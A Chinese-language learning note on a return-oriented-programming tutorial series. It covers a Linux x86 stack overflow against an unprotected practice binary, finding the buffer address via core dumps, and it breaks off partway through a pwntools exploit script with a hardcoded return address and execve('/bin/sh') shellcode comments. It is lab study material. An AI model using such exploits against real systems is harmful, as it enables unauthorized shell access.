一步一步学ROP Linux x86 学习笔记
这部分文章主要依据的是蒸米大神的一步一步学ROP
系列文章,我也是跟着做的,本文主要记录其中的问题和实验没有成功的地方。
一、无任何防护
在github可以找到相关的资料,不用自己编译漏洞代码了,也有写好的exp。
从最基础的开始,先学无任何防护的栈溢出。使用checksec看一下防护:
那就简单了,直接用shellcode打就可以,这里要注意一下覆盖的返回地址可以设置为buf的起始地址, 然后把shellcode放在buf里,但是这个buf的地址不能通过gdb直接调试得到,因为gdb调试会影响buf的位置,即使我们关闭了Linux的ASLR。根据蒸米的文章,就是开启core dump这个功能。
开启之后,当出现内存错误的时候,就会在tmp文件夹下生成一个core dump文件,然后用gdb加载调试就可以得到buf在内存中的固定地址:
然后就坑了,本地调试一直没有打通,使用socat放在远程,还是通过core dump得到远程buf地址,再用相同的exp打就成功了,exp如下:
#!/usr/bin/env python
from pwn import *
# p = process('./level1')
p = remote('127.0.0.1',10008)
ret = 0xffffcec0
# execve ("/bin/sh")
# xor ecx, ecx
# mul ecx
# push ecx
# push 0x68732f2f ;; hs//